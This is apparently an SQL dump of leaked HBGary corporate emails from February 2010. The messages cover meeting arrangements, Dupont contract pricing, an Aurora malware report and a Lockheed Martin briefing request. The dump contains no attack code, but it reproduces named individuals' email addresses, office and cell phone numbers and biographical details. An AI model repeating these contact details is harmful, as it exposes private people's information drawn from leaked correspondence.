\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\n\r\n',11250,'aaron_hbgary_com/11250.html'),(2355,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001076.M347058P3547Q2355.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Wow.  Ok.  In that vase I know of a few good sushi places and a good afghan place in Vienna.  Any preference.From my iPhoneOn Feb 9, 2010, at 8:05 PM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nI&#39;ll be coming from Frederick so lunch in McLean would work fine. Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:01:51 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: Services contract for commercial IR servicesWe could grab lunch?  I will be Coming fro McLean.  Where will u be?  If lunch is good I can pick a place near or in between us both.\r\nAaronFrom my iPhone\r\nOn Feb 9, 2010, at 7:52 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good.  What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n   \r\n  How is Friday looking for you?\r\n   \r\n  Cheers,\r\n  Nolan\r\n   \r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n  nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n   \r\n   \r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit.  :)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can&#39;t tomorrow. How does next week look for you?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow.  You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week.  My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week.  Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,Nolan\r\n          Sent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n           Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n             \r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n             \r\n            Best,\r\n            Nolan\r\n             \r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n            nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n             \r\n             \r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n             \r\n            I spoke today with Nolan Clifford.  He may be \r\n            helpful with the contract terms for IR Services.  Nolan \r\n            has an NDA with HBGary.\r\n             \r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n             \r\n            You may reach Nolan at (703) 945-7480.  Nolan is expecting \r\n            your call.\r\n             \r\n            Maria\r\n             \r\n            Nolan Clifford Bio\r\n            \r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n             -- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401  Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\n\r\n\r\n',12776,'aaron_hbgary_com/12776.html'),(2356,'2010-02-10','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001076.M606277P3547Q2356.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','I\'m good with any of those...your call.Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:09:53 -0500To: nolan@informationsecuritysolutionsllc.com&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWow.  Ok.  In that vase I know of a few good sushi places and a good afghan place in Vienna.  Any preference.From my iPhoneOn Feb 9, 2010, at 8:05 PM, &quot;nolan@informationsecuritysolutionsllc.com&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\nI&#39;ll be coming from Frederick so lunch in McLean would work fine. Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 9 Feb 2010 20:01:51 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;\r\nSubject: Re: Services contract for commercial IR servicesWe could grab lunch?  I will be Coming fro McLean.  Where will u be?  If lunch is good I can pick a place near or in between us both.\r\nAaronFrom my iPhone\r\nOn Feb 9, 2010, at 7:52 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\n\r\nI have a call from 9-10 but am open the rest of the day. What \r\nworks best for you? Where will you be on Friday?\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 7:50 PMTo: \r\n&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: \r\nServices contract for commercial IR services\r\n\r\nFriday looks good.  What time?From my iPhone\r\nOn Feb 9, 2010, at 5:45 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; \r\nwrote:\r\n\r\n\r\n  \r\n  Hi Aaron,\r\n   \r\n  How is Friday looking for you?\r\n   \r\n  Cheers,\r\n  Nolan\r\n   \r\n  Nolan Clifford, CISSP\r\n  CEO, Information Security Solutions \r\n  LLC\r\n  http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n  nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n  Office - 703-945-7480\r\n  Cell - 703-869-7396\r\n   \r\n   \r\n  \r\n  \r\n  From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, \r\n  February 08, 2010 11:15 PMTo: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n  Re: Services contract for commercial IR services\r\n  Hi Nolan, \r\n  \r\n  My week has opened up quite a bit.  :)\r\n  \r\n  Do you have some time to meet this week?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    I \r\n    can&#39;t tomorrow. How does next week look for you?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n    Subject: Re: Services contract for commercial IR services\r\n    Sounds good for tomorrow.  You still open? \r\n    \r\n    Aaron\r\n    \r\n    \r\n    On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Same \r\n      here, perhaps coffee either morning in the Reston area?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Whats your schedule like next week.  My best \r\n      availability is on Thursday and Friday. \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Darn, \r\n        those days are packed for me. What about the week of the 8th?\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n        Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Hi Nolan, \r\n        \r\n        Tuesday and Friday are my packed days this week.  Any free \r\n        time on Wed/Thurs?\r\n        \r\n        Aaron\r\n        \r\n        \r\n        \r\n        On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n        wrote:\r\n        \r\n          Aaron,How \r\n          does 11 on Tuesday look for you? Where are you at most of the time? \r\n          Would coffee at Cosi in the Reston Town Center be \r\n          easy?Thanks,Nolan\r\n          Sent via BlackBerry by AT&amp;T\r\n          \r\n\r\n          From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\n          Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n          To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n\r\n\r\n          Subject: Re: Services contract for commercial IR \r\n          services\r\n          Nolan, \r\n          \r\n          Ted is out in the Springs, but how about we meet next week. \r\n           Any days better than others?\r\n          Aaron\r\n          \r\n          \r\n          On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n          \r\n            \r\n            Thanks Maria.\r\n             \r\n            Aaron and Ted - I could link up in \r\n            person next week if you guys are interested.\r\n             \r\n            Best,\r\n            Nolan\r\n             \r\n            Nolan Clifford, \r\n            CISSP\r\n            CEO, Information Security \r\n            Solutions LLC\r\n            http://www.informationsecuritysolutionsllc.com\r\n\r\n\r\n            nolan@informationsecuritysolutionsllc.com\r\n\r\n\r\n            Office - \r\n            703-945-7480\r\n            Cell - \r\n            703-869-7396\r\n             \r\n             \r\n            \r\n            \r\n            From: Maria Lucas [mailto:maria@hbgary.com] \r\n            Sent: Tuesday, January 19, 2010 4:51 PMTo: \r\n            Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\n\r\nSubject: \r\n            Re: Services contract for commercial IR \r\nservices\r\n            \r\n            Aaron / Ted\r\n             \r\n            I spoke today with Nolan Clifford.  He may be \r\n            helpful with the contract terms for IR Services.  Nolan \r\n            has an NDA with HBGary.\r\n             \r\n            Nolan is available later this week or next to meet or speak \r\n            with on the phone:\r\n             \r\n            You may reach Nolan at (703) 945-7480.  Nolan is expecting \r\n            your call.\r\n             \r\n            Maria\r\n             \r\n            Nolan Clifford Bio\r\n            \r\n            CEO of Information Security Solutions LLC, \r\n            providing a full range of security consulting services to US \r\n            Federal, Global Public Sector and Commercial clients. Former \r\n            Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. \r\n            Former Director at PricewaterhouseCoopers, LLP, within the \r\n            Washington Federal Practice. Former Director of Information \r\n            Assurance, General Dynamics Network Systems, National and Defense \r\n            Intelligence Solutions and former Director of the Federal Security \r\n            Practice at Unisys Corporation. Information Warfare Officer for the \r\n            Naval Reserve Network Warfare Command. Former active duty Naval \r\n            Cryptology Officer. CISSP. \r\n             -- Maria Lucas, CISSP | Account \r\n            Executive | HBGary, Inc.Cell Phone 805-890-0401  Office \r\n            Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n          \r\n          Aaron Barr\r\n          CEO\r\n          HBGary Federal Inc.\r\n          \r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\n\r\n\r\n\r\n',16667,'aaron_hbgary_com/16667.html'),(2357,'2010-02-10','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001079.M836565P3547Q2357.eml','all@hbgary.com','Aurora Report, pre-release, to be posted at 8AM PST tommorow morning','Here it is.\r\n \r\n-G\r\n',8110,'aaron_hbgary_com/8110.html'),(2358,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001080.M870312P3547Q2358.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: Dupont SOW','Comments attached.  Their blended rate is about $300/hr.  On Tue, Feb 9, 2010 at 7:31 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n \r\n\r\nPlease take a look at the scope of work for Dupont, we need\r\nto get this out to them ASAP.  \r\n\r\n \r\n\r\nThings we still need.\r\n\r\n \r\n\r\n1.      \r\nPricing – see what is in the doc…  I\r\nthink we should provide an hourly rate like Aaron and I discussed ($300 per\r\nhour).  It’s currently got something that appears to be a  Firm\r\nFixed Price… not going to fly here in my opinion.  While I believe\r\nwe could charge them more, I don’t want to take advantage of them.  This\r\nis to set them up for a long term relationship and enterprise purchase.\r\n\r\n2.      \r\nHow much will foundstone and PWC charge to us as a\r\nsub-contractor?  \r\n\r\na.       Phil? \r\nDo you know how much they would charge us?\r\n\r\nb.      Penny,\r\nwhat about Foundstone prices?\r\n\r\n3.      \r\nI believe we also need to propose 3 to 4 people for\r\nthis project for Phase 1.   Personally I would like to back out after\r\nPhase 1 and the beginning of phase 2 so I can get back to HBGary work. \r\nWith that said it would be nice to have 3 guys from either PWC or Foundstone to\r\naugment myself and Phil’s work.\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4772,'aaron_hbgary_com/4772.html'),(2359,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001081.M302414P3547Q2360.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Dupont SOW','Looks like lunch is out but we can still do the call.\r\n\r\nOn Tuesday, February 9, 2010, Aaron Barr  wrote:\r\n> We still on this week?\r\n>\r\n> From my iPhone\r\n> On Feb 9, 2010, at 8:30 PM, Phil Wallisch  wrote:\r\n>\r\n>\r\n> Comments attached.  Their blended rate is about $300/hr.\r\n>\r\n> On Tue, Feb 9, 2010 at 7:31 PM, Rich Cummings  wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Guys,\r\n>\r\n>\r\n>\r\n> Please take a look at the scope of work for Dupont, we need\r\n> to get this out to them ASAP.\r\n>\r\n>\r\n>\r\n> Things we still need.\r\n>\r\n>\r\n>\r\n> 1.\r\n> Pricing – see what is in the doc…  I\r\n> think we should provide an hourly rate like Aaron and I discussed ($300 per\r\n> hour).  It’s currently got something that appears to be a  Firm\r\n> Fixed Price… not going to fly here in my opinion.  While I believe\r\n> we could charge them more, I don’t want to take advantage of them.  This\r\n> is to set them up for a long term relationship and enterprise purchase.\r\n>\r\n> 2.\r\n> How much will foundstone and PWC charge to us as a\r\n> sub-contractor?\r\n>\r\n> a.       Phil?\r\n> Do you know how much they would charge us?\r\n>\r\n> b.      Penny,\r\n> what about Foundstone prices?\r\n>\r\n> 3.\r\n> I believe we also need to propose 3 to 4 people for\r\n> this project for Phase 1.   Personally I would like to back out after\r\n> Phase 1 and the beginning of phase 2 so I can get back to HBGary work.\r\n> With that said it would be nice to have 3 guys from either PWC or Foundstone to\r\n> augment myself and Phil’s work.\r\n>\r\n>\r\n>\r\n> Rich\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> \r\n>\r\n',16275,'aaron_hbgary_com/16275.html'),(2360,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001081.M603066P3547Q2361.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com','RE: Aurora Report, pre-release, to be posted at 8AM PST tommorow morning','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe &#8220;Operation Aurora&#8221; report is awesome.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, February 09, 2010 8:14 PM\r\nTo: all@hbgary.com\r\nSubject: Aurora Report, pre-release, to be posted at 8AM PST tommorow\r\nmorning\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHere it is.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-G\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',768,'aaron_hbgary_com/768.html'),(2361,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001081.M68764P3547Q2359.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Dupont SOW','We still on this week?From my iPhoneOn Feb 9, 2010, at 8:30 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nComments attached.  Their blended rate is about $300/hr.  On Tue, Feb 9, 2010 at 7:31 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n \r\n\r\nPlease take a look at the scope of work for Dupont, we need\r\nto get this out to them ASAP.  \r\n\r\n \r\n\r\nThings we still need.\r\n\r\n \r\n\r\n1.      \r\nPricing – see what is in the doc…  I\r\nthink we should provide an hourly rate like Aaron and I discussed ($300 per\r\nhour).  It’s currently got something that appears to be a  Firm\r\nFixed Price… not going to fly here in my opinion.  While I believe\r\nwe could charge them more, I don’t want to take advantage of them.  This\r\nis to set them up for a long term relationship and enterprise purchase.\r\n\r\n2.      \r\nHow much will foundstone and PWC charge to us as a\r\nsub-contractor?  \r\n\r\na.       Phil? \r\nDo you know how much they would charge us?\r\n\r\nb.      Penny,\r\nwhat about Foundstone prices?\r\n\r\n3.      \r\nI believe we also need to propose 3 to 4 people for\r\nthis project for Phase 1.   Personally I would like to back out after\r\nPhase 1 and the beginning of phase 2 so I can get back to HBGary work. \r\nWith that said it would be nice to have 3 guys from either PWC or Foundstone to\r\naugment myself and Phil’s work.\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Services Proposal for Dupont ver3 PAW.docx&gt;\r\n',15761,'aaron_hbgary_com/15761.html');
INSERT INTO `emails` VALUES (2362,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001081.M805015P3547Q2362.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,','RE: Dupont SOW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the input Phil.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Tuesday, February 09, 2010 8:31 PM\r\nTo: Rich Cummings\r\nCc: Ted Vera; Aaron Barr; Bob Slapnik; Penny C. Hoglund\r\nSubject: Re: Dupont SOW\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nComments attached.&nbsp; Their\r\nblended rate is about $300/hr.&nbsp; \r\n\r\n\r\n\r\nOn Tue, Feb 9, 2010 at 7:31 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n&nbsp;\r\n\r\nPlease\r\ntake a look at the scope of work for Dupont, we need to get this out to them ASAP.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThings\r\nwe still need.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pricing\r\n&#8211; see what is in the doc&#8230;&nbsp; I think we should provide an hourly rate like\r\nAaron and I discussed ($300 per hour).&nbsp; It&#8217;s currently got something that\r\nappears to be a&nbsp; Firm Fixed Price&#8230; not going to fly here in my opinion.\r\n&nbsp;While I believe we could charge them more, I don&#8217;t want to take advantage\r\nof them.&nbsp; This is to set them up for a long term relationship and\r\nenterprise purchase.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; How\r\nmuch will foundstone and PWC charge to us as a sub-contractor?&nbsp; \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPhil?&nbsp; Do you know how much they would charge us?\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPenny, what about Foundstone prices?\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\r\nbelieve we also need to propose 3 to 4 people for this project for Phase\r\n1.&nbsp;&nbsp; Personally I would like to back out after Phase 1 and the\r\nbeginning of phase 2 so I can get back to HBGary work.&nbsp; With that said it\r\nwould be nice to have 3 guys from either PWC or Foundstone to augment myself\r\nand Phil&#8217;s work.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9551,'aaron_hbgary_com/9551.html'),(2363,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001081.M999651P3547Q2363.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Ideas - Cybergenome','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we have a running spreadsheet or doc created yet for the\r\ncyber-genome proposals?\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve got some ideas to start adding.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15118,'aaron_hbgary_com/15118.html'),(2364,'2010-02-10','\"Jeffers, Jeff L\" <jeff.l.jeffers@lmco.com>','/aaron@hbgary.com/new/1297001082.M199398P3547Q2364.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Uno - HBGary capabilities brief','Good morning Ted,\r\n\r\nI am forwarding your message on to the Rick Mai (UNO PM) and Jim Racz (Deputy PM) for review and following action.\r\n\r\nThank you,\r\n\r\n________________\r\nJeff Jeffers\r\nSubcontracts Administration\r\nLockheed Martin IS&GS\r\n703-466-1208 (desk)\r\n703-466-1270 (fax)\r\nJeff.L.Jeffers@LMCO.COM  \r\n  \r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, February 09, 2010 3:14 PM\r\nTo: Jeffers, Jeff L\r\nCc: Barr Aaron\r\nSubject: Uno - HBGary capabilities brief\r\n\r\nHello Jeff,\r\n\r\nAaron Barr (cc\'d) and I would like to schedule some time with the Uno PM to provide an updated HBGary capabilities brief.  Is that possible?\r\n Attached is a draft HBGary analysis of Aurora, which demonstrates some of our malware reverse engineering and threat analysis capabilities.  Consider it a sneak preview, it will be publicly released later this week.\r\n\r\nRegards,\r\nTed Vera\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9208,'aaron_hbgary_com/9208.html'),(2365,'2010-02-10','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001082.M415175P3547Q2365.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Hardware TPM Hacked','Hardware TPM HackedBiggerIsBetter writes \"Christopher Tarnovsky has pulled off the \'near impossible\' TPM hardware hack. We all knew it was only a matter of time; this is why you shouldn\'t entrust your data to proprietary solutions. From the article: \'The technique can also be used to tap text messages and email belonging to 